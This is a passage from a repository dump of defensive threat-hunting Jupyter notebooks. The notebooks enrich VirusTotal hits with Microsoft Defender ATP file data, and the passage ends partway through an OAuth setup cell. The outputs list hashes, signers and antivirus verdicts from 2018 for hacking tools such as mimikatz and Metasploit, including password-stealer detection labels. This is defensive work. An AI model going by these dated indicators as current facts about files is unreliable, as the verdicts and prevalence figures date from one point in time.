<td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>f9cdd472f5a63128558bc72453d18a9bb521a1980207a8...</td>\\n\",\n       \"      <td>57</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>13</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Unknown</td>\\n\",\n       \"      <td>2013-03-03T15:06:59.3469274Z</td>\\n\",\n       \"      <td>2018-12-03T16:45:05.6407522Z</td>\\n\",\n       \"      <td>62997</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>b8189dc02998c5dd8c2dcaa052baaa41fe7d36237c6fff...</td>\\n\",\n       \"      <td>57</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>14</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Unknown</td>\\n\",\n       \"      <td>2013-10-10T10:52:53.9148792Z</td>\\n\",\n       \"      <td>2018-12-03T16:45:05.6407522Z</td>\\n\",\n       \"      <td>51434</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G3</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>1c5397506d70c29cfdfe0c348373dbc8c7ce8fd3dfa1e5...</td>\\n\",\n       \"      <td>57</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"<p>15 rows Ã— 323 columns</p>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                       @odata.context  \\\\\\n\",\n       \"0   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"1   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"2   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"3   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"4   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"5   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"6   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"7   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"8   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"9   https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"10  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"11  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"12  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"13  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"14  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"\\n\",\n       \"                                      fileProductName  \\\\\\n\",\n       \"0                                            mimikatz   \\n\",\n       \"1   Odysseus                                      ...   \\n\",\n       \"2                                                None   \\n\",\n       \"3                                                None   \\n\",\n       \"4                                                None   \\n\",\n       \"5                                                None   \\n\",\n       \"6                                                None   \\n\",\n       \"7                                                None   \\n\",\n       \"8                                                None   \\n\",\n       \"9                                                None   \\n\",\n       \"10                                               None   \\n\",\n       \"11                               Metasploit Framework   \\n\",\n       \"12               MicrosoftÂ® WindowsÂ® Operating System   \\n\",\n       \"13                                               None   \\n\",\n       \"14                                               None   \\n\",\n       \"\\n\",\n       \"                                        filePublisher            fileType  \\\\\\n\",\n       \"0                         gentilkiwi (Benjamin DELPY)                 APP   \\n\",\n       \"1   BeginFinite                                   ...                 APP   \\n\",\n       \"2                                                None  PortableExecutable   \\n\",\n       \"3                                                None  PortableExecutable   \\n\",\n       \"4                                                None  PortableExecutable   \\n\",\n       \"5                                                None  PortableExecutable   \\n\",\n       \"6                                                None  PortableExecutable   \\n\",\n       \"7                                                None  PortableExecutable   \\n\",\n       \"8                                                None  PortableExecutable   \\n\",\n       \"9                                                None  PortableExecutable   \\n\",\n       \"10                                               None             Unknown   \\n\",\n       \"11                                         Rapid7 LLC                 APP   \\n\",\n       \"12                              Microsoft Corporation                 DLL   \\n\",\n       \"13                                               None             Unknown   \\n\",\n       \"14                                               None             Unknown   \\n\",\n       \"\\n\",\n       \"             globalFirstObserved            globalLastObserved  \\\\\\n\",\n       \"0   2018-09-25T22:34:38.9566202Z  2018-12-03T16:10:22.1433986Z   \\n\",\n       \"1   2013-03-03T14:00:34.8213548Z  2018-12-03T16:57:29.3516922Z   \\n\",\n       \"2   2014-06-21T17:41:28.7487764Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"3   2017-10-19T13:31:48.8066496Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"4   2014-04-12T18:31:37.1432546Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"5   2014-03-30T13:52:41.5376917Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"6   2013-12-13T00:22:58.2227398Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"7   2014-11-05T09:31:08.2270885Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"8   2014-01-17T04:21:54.9439502Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"9   2015-06-25T14:35:00.4102258Z  2018-12-03T16:49:45.0301875Z   \\n\",\n       \"10  2013-03-03T14:00:34.8213548Z  2018-12-03T16:45:05.6407522Z   \\n\",\n       \"11  2013-03-03T14:00:34.8213548Z  2018-12-03T16:45:05.6407522Z   \\n\",\n       \"12  2013-03-03T14:00:34.8213548Z  2018-12-03T16:45:05.6407522Z   \\n\",\n       \"13  2013-03-03T15:06:59.3469274Z  2018-12-03T16:45:05.6407522Z   \\n\",\n       \"14  2013-10-10T10:52:53.9148792Z  2018-12-03T16:45:05.6407522Z   \\n\",\n       \"\\n\",\n       \"    globalPrevalence  isPeFile isValidCertificate  \\\\\\n\",\n       \"0               4435      True               True   \\n\",\n       \"1            1639527     False              False   \\n\",\n       \"2              57045      True               True   \\n\",\n       \"3              23325      True               None   \\n\",\n       \"4              34990      True               True   \\n\",\n       \"5              25119      True               None   \\n\",\n       \"6              63558      True               True   \\n\",\n       \"7              59436      True               True   \\n\",\n       \"8              24775      True               None   \\n\",\n       \"9              53945      True               True   \\n\",\n       \"10             63418     False               True   \\n\",\n       \"11             72485     False               True   \\n\",\n       \"12             69287     False               True   \\n\",\n       \"13             62997     False               True   \\n\",\n       \"14             51434     False               True   \\n\",\n       \"\\n\",\n       \"                                     issuer  \\\\\\n\",\n       \"0               Certum Code Signing CA SHA2   \\n\",\n       \"1                         INVALID:Microsoft   \\n\",\n       \"2   GlobalSign CodeSigning CA - SHA256 - G2   \\n\",\n       \"3                                      None   \\n\",\n       \"4            GlobalSign CodeSigning CA - G2   \\n\",\n       \"5                                      None   \\n\",\n       \"6   GlobalSign CodeSigning CA - SHA256 - G2   \\n\",\n       \"7   GlobalSign CodeSigning CA - SHA256 - G3   \\n\",\n       \"8                                      None   \\n\",\n       \"9   GlobalSign CodeSigning CA - SHA256 - G2   \\n\",\n       \"10           GlobalSign CodeSigning CA - G2   \\n\",\n       \"11  GlobalSign CodeSigning CA - SHA256 - G3   \\n\",\n       \"12  GlobalSign CodeSigning CA - SHA256 - G3   \\n\",\n       \"13  GlobalSign CodeSigning CA - SHA256 - G2   \\n\",\n       \"14  GlobalSign CodeSigning CA - SHA256 - G3   \\n\",\n       \"\\n\",\n       \"                   ...                  scans.eGambit.result  \\\\\\n\",\n       \"0                  ...                     hacktool.mimikatz   \\n\",\n       \"1                  ...                                         \\n\",\n       \"2                  ...                                         \\n\",\n       \"3                  ...                                         \\n\",\n       \"4                  ...                                         \\n\",\n       \"5                  ...                                         \\n\",\n       \"6                  ...                                         \\n\",\n       \"7                  ...                                         \\n\",\n       \"8                  ...                                         \\n\",\n       \"9                  ...                                         \\n\",\n       \"10                 ...                                         \\n\",\n       \"11                 ...                                         \\n\",\n       \"12                 ...                                         \\n\",\n       \"13                 ...                                         \\n\",\n       \"14                 ...                                         \\n\",\n       \"\\n\",\n       \"   scans.eGambit.update scans.eGambit.version scans.nProtect.detected  \\\\\\n\",\n       \"0              20181201                v4.3.5                           \\n\",\n       \"1                                                                       \\n\",\n       \"2                                                                       \\n\",\n       \"3                                                                       \\n\",\n       \"4              20181031                                                 \\n\",\n       \"5              20181005                                                 \\n\",\n       \"6              20180927                                                 \\n\",\n       \"7              20181027                                                 \\n\",\n       \"8              20181006                                                 \\n\",\n       \"9              20181017                                                 \\n\",\n       \"10                                                                      \\n\",\n       \"11                                                                      \\n\",\n       \"12                                                                      \\n\",\n       \"13                                                                      \\n\",\n       \"14                                                                      \\n\",\n       \"\\n\",\n       \"   scans.nProtect.result scans.nProtect.update scans.nProtect.version  \\\\\\n\",\n       \"0                                                                       \\n\",\n       \"1                                                                       \\n\",\n       \"2                                                                       \\n\",\n       \"3                                                                       \\n\",\n       \"4                                                                       \\n\",\n       \"5                                                                       \\n\",\n       \"6                                                                       \\n\",\n       \"7                                                                       \\n\",\n       \"8                                                                       \\n\",\n       \"9                                                                       \\n\",\n       \"10                                                                      \\n\",\n       \"11                                                                      \\n\",\n       \"12                                                                      \\n\",\n       \"13                                                                      \\n\",\n       \"14                                                                      \\n\",\n       \"\\n\",\n       \"                                             sha256_y total  \\\\\\n\",\n       \"0   d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...    68   \\n\",\n       \"1   275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2...    61   \\n\",\n       \"2   24abab4054bda1b846b012f71dd0687b4fd4069afc5fda...    66   \\n\",\n       \"3   5e001d47b541c301b292f555554f060dc18cf19cc28bd3...    65   \\n\",\n       \"4   7d52a7a759179f2678458c190a30fe630d770ee8676815...    67   \\n\",\n       \"5   ee24d1d448fffea3983da1a51ff4b2a37426a5651b9d93...    67   \\n\",\n       \"6   775855f0fd33d1099fcab8f8119a2a64ca11dfa56a94b0...    68   \\n\",\n       \"7   31108a00a2c2016b0fb4d0e39fb2dbdce141ce9accf9ca...    67   \\n\",\n       \"8   c1b9473c3db907a81c0525a6eb6ddc83c73dd1ebb9686e...    67   \\n\",\n       \"9   c3b6f81b25c7315d9a856dbc0ed1b129b2e0b39553fbd8...    60   \\n\",\n       \"10  a68478ce012a2692231b1e5d0069651315dc0692b9dae4...    57   \\n\",\n       \"11  c2b666a3ef4c191b77b78c037656e50477b8ba3d35fd61...    56   \\n\",\n       \"12  f9cdd472f5a63128558bc72453d18a9bb521a1980207a8...    57   \\n\",\n       \"13  b8189dc02998c5dd8c2dcaa052baaa41fe7d36237c6fff...    57   \\n\",\n       \"14  1c5397506d70c29cfdfe0c348373dbc8c7ce8fd3dfa1e5...    57   \\n\",\n       \"\\n\",\n       \"                            verbose_msg  \\n\",\n       \"0   Scan finished, information embedded  \\n\",\n       \"1   Scan finished, information embedded  \\n\",\n       \"2   Scan finished, information embedded  \\n\",\n       \"3   Scan finished, information embedded  \\n\",\n       \"4   Scan finished, information embedded  \\n\",\n       \"5   Scan finished, information embedded  \\n\",\n       \"6   Scan finished, information embedded  \\n\",\n       \"7   Scan finished, information embedded  \\n\",\n       \"8   Scan finished, information embedded  \\n\",\n       \"9   Scan finished, information embedded  \\n\",\n       \"10  Scan finished, information embedded  \\n\",\n       \"11  Scan finished, information embedded  \\n\",\n       \"12  Scan finished, information embedded  \\n\",\n       \"13  Scan finished, information embedded  \\n\",\n       \"14  Scan finished, information embedded  \\n\",\n       \"\\n\",\n       \"[15 rows x 323 columns]\"\n      ]\n     },\n     \"execution_count\": 22,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"## look up each positive hit in WDATP data and enrich results with WDATP information\\n\",\n    \"\\n\",\n    \"wdatp_file_results = []\\n\",\n    \"df_all = pd.DataFrame()\\n\",\n    \"for sha1 in list(vt_pos['sha1']):\\n\",\n    \"    df_file = wdatp_api.files(filehash = sha1)\\n\",\n    \"    if len(df_file) > 0:\\n\",\n    \"        wdatp_file_results.append(df_file)\\n\",\n    \"if len(wdatp_file_results) > 0:\\n\",\n    \"    df_all = pd.concat(wdatp_file_results)\\n\",\n    \"df_all = df_all.merge(vt_pos, right_on = 'sha1', left_on = 'sha1')\\n\",\n    \"df_all\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 23,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>fileProductName</th>\\n\",\n       \"      <td>mimikatz</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>filePublisher</th>\\n\",\n       \"      <td>gentilkiwi (Benjamin DELPY)</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>fileType</th>\\n\",\n       \"      <td>APP</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>globalFirstObserved</th>\\n\",\n       \"      <td>2018-09-25T22:34:38.9566202Z</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>globalLastObserved</th>\\n\",\n       \"      <td>2018-12-03T16:10:22.1433986Z</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>globalPrevalence</th>\\n\",\n       \"      <td>4435</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>isPeFile</th>\\n\",\n       \"      <td>True</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>isValidCertificate</th>\\n\",\n       \"      <td>True</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>issuer</th>\\n\",\n       \"      <td>Certum Code Signing CA SHA2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>md5_x</th>\\n\",\n       \"      <td>b5962945811f8d275a3a69334dbc81e8</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>sha1</th>\\n\",\n       \"      <td>d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>sha256_x</th>\\n\",\n       \"      <td>d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>signer</th>\\n\",\n       \"      <td>Open Source Developer, Benjamin Delpy</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>signerHash</th>\\n\",\n       \"      <td>9431a67881c152112500e1bc89d4d37fd808dd71</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>size</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>windowsDefenderAVThreatName</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>md5_y</th>\\n\",\n       \"      <td>b5962945811f8d275a3a69334dbc81e8</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>permalink</th>\\n\",\n       \"      <td>https://www.virustotal.com/file/d81da8c83776c6...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>positives</th>\\n\",\n       \"      <td>47</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>resource</th>\\n\",\n       \"      <td>d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>response_code</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scan_date</th>\\n\",\n       \"      <td>2018-12-01 06:33:18</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scan_id</th>\\n\",\n       \"      <td>d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ALYac.detected</th>\\n\",\n       \"      <td>False</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ALYac.result</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ALYac.update</th>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ALYac.version</th>\\n\",\n       \"      <td>1.1.1.5</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.AVG.detected</th>\\n\",\n       \"      <td>True</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.AVG.result</th>\\n\",\n       \"      <td>FileRepMalware [PUP]</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <td>...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.WhiteArmor.result</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.WhiteArmor.update</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.WhiteArmor.version</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Yandex.detected</th>\\n\",\n       \"      <td>False</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Yandex.result</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Yandex.update</th>\\n\",\n       \"      <td>20181130</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Yandex.version</th>\\n\",\n       \"      <td>5.5.1.3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zillya.detected</th>\\n\",\n       \"      <td>True</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zillya.result</th>\\n\",\n       \"      <td>Tool.Mimikatz.Win64.442</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zillya.update</th>\\n\",\n       \"      <td>20181130</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zillya.version</th>\\n\",\n       \"      <td>2.0.0.3704</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ZoneAlarm.detected</th>\\n\",\n       \"      <td>True</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ZoneAlarm.result</th>\\n\",\n       \"      <td>HEUR:Trojan-PSW.Win64.Mimikatz.gen</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ZoneAlarm.update</th>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.ZoneAlarm.version</th>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zoner.detected</th>\\n\",\n       \"      <td>False</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zoner.result</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zoner.update</th>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.Zoner.version</th>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.eGambit.detected</th>\\n\",\n       \"      <td>True</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.eGambit.result</th>\\n\",\n       \"      <td>hacktool.mimikatz</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.eGambit.update</th>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.eGambit.version</th>\\n\",\n       \"      <td>v4.3.5</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.nProtect.detected</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.nProtect.result</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.nProtect.update</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>scans.nProtect.version</th>\\n\",\n       \"      <td></td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>sha256_y</th>\\n\",\n       \"      <td>d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>total</th>\\n\",\n       \"      <td>68</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>verbose_msg</th>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"<p>323 rows Ã— 1 columns</p>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                                                             0\\n\",\n       \"@odata.context               https://api.securitycenter.windows.com/api/$me...\\n\",\n       \"fileProductName                                                       mimikatz\\n\",\n       \"filePublisher                                      gentilkiwi (Benjamin DELPY)\\n\",\n       \"fileType                                                                   APP\\n\",\n       \"globalFirstObserved                               2018-09-25T22:34:38.9566202Z\\n\",\n       \"globalLastObserved                                2018-12-03T16:10:22.1433986Z\\n\",\n       \"globalPrevalence                                                          4435\\n\",\n       \"isPeFile                                                                  True\\n\",\n       \"isValidCertificate                                                        True\\n\",\n       \"issuer                                             Certum Code Signing CA SHA2\\n\",\n       \"md5_x                                         b5962945811f8d275a3a69334dbc81e8\\n\",\n       \"sha1                                  d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f\\n\",\n       \"sha256_x                     d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...\\n\",\n       \"signer                                   Open Source Developer, Benjamin Delpy\\n\",\n       \"signerHash                            9431a67881c152112500e1bc89d4d37fd808dd71\\n\",\n       \"size                                                                      None\\n\",\n       \"windowsDefenderAVThreatName                                               None\\n\",\n       \"md5_y                                         b5962945811f8d275a3a69334dbc81e8\\n\",\n       \"permalink                    https://www.virustotal.com/file/d81da8c83776c6...\\n\",\n       \"positives                                                                   47\\n\",\n       \"resource                              d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f\\n\",\n       \"response_code                                                                1\\n\",\n       \"scan_date                                                  2018-12-01 06:33:18\\n\",\n       \"scan_id                      d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...\\n\",\n       \"scans.ALYac.detected                                                     False\\n\",\n       \"scans.ALYac.result                                                            \\n\",\n       \"scans.ALYac.update                                                    20181201\\n\",\n       \"scans.ALYac.version                                                    1.1.1.5\\n\",\n       \"scans.AVG.detected                                                        True\\n\",\n       \"scans.AVG.result                                          FileRepMalware [PUP]\\n\",\n       \"...                                                                        ...\\n\",\n       \"scans.WhiteArmor.result                                                       \\n\",\n       \"scans.WhiteArmor.update                                                       \\n\",\n       \"scans.WhiteArmor.version                                                      \\n\",\n       \"scans.Yandex.detected                                                    False\\n\",\n       \"scans.Yandex.result                                                           \\n\",\n       \"scans.Yandex.update                                                   20181130\\n\",\n       \"scans.Yandex.version                                                   5.5.1.3\\n\",\n       \"scans.Zillya.detected                                                     True\\n\",\n       \"scans.Zillya.result                                    Tool.Mimikatz.Win64.442\\n\",\n       \"scans.Zillya.update                                                   20181130\\n\",\n       \"scans.Zillya.version                                                2.0.0.3704\\n\",\n       \"scans.ZoneAlarm.detected                                                  True\\n\",\n       \"scans.ZoneAlarm.result                      HEUR:Trojan-PSW.Win64.Mimikatz.gen\\n\",\n       \"scans.ZoneAlarm.update                                                20181201\\n\",\n       \"scans.ZoneAlarm.version                                                    1.0\\n\",\n       \"scans.Zoner.detected                                                     False\\n\",\n       \"scans.Zoner.result                                                            \\n\",\n       \"scans.Zoner.update                                                    20181201\\n\",\n       \"scans.Zoner.version                                                        1.0\\n\",\n       \"scans.eGambit.detected                                                    True\\n\",\n       \"scans.eGambit.result                                         hacktool.mimikatz\\n\",\n       \"scans.eGambit.update                                                  20181201\\n\",\n       \"scans.eGambit.version                                                   v4.3.5\\n\",\n       \"scans.nProtect.detected                                                       \\n\",\n       \"scans.nProtect.result                                                         \\n\",\n       \"scans.nProtect.update                                                         \\n\",\n       \"scans.nProtect.version                                                        \\n\",\n       \"sha256_y                     d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...\\n\",\n       \"total                                                                       68\\n\",\n       \"verbose_msg                                Scan finished, information embedded\\n\",\n       \"\\n\",\n       \"[323 rows x 1 columns]\"\n      ]\n     },\n     \"execution_count\": 23,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# show merged data from WDATP and VirusTotal for the top entry\\n\",\n    \"df_all.head(1).T\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.6.6\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}\n"
  },
  {
    "path": "Notebooks/mtp_hunting.ipynb",
    "content": "{\"cells\":[{\"cell_type\":\"code\",\"execution_count\":52,\"metadata\":{},\"outputs\":[],\"source\":[\"# Microsoft Threat Protection advanced hunting notebook\\n\",\"\\n\",\"# Version 1.0\\n\",\"# Author: Maarten Goet, MVP & RD\\n\",\"# http://www.maartengoet.org \\n\",\"\\n\",\"import json\\n\",\"import pandas\\n\",\"import urllib.request\\n\",\"import urllib.parse\\n\",\"\\n\",\"# Your MTP environment\\n\",\"\\n\",\"tenantId = '00000000-0000-0000-0000-000000000000' # Replace with your Tenant ID\\n\",\"appId = '000000000000000000-0000-000000000000' # Replace with your Application ID\\n\",\"appSecret = '0000000000000000000000000000000000' # Replace with the Secret for your Application\\n\",\"\\n\",\"url = \\\"https://login.windows.net/%s/oauth2/token\\\" % (tenantId)\\n\",\"\\n\",\"resourceAppIdUri = 'https://api.security.microsoft.com' # Hello, MTP\\n\",\"\\n\",\"body = {\\n\",\"    'resource' : resourceAppIdUri,\\n\",\"    'client_id' : appId,\\n\",\"    'client_secret' : appSecret,\\n\",\"    'grant_type' : 'client_credentials'\\n\",\"}\\n\",\"\\n\",\"data = urllib.parse.urlencode(body).encode(\\\"utf-8\\\")\\n\",\"\\n\",\"req = urllib.request.Request(url, data)\\n\",\"response = urllib.request.urlopen(req)\\n\",\"jsonResponse = 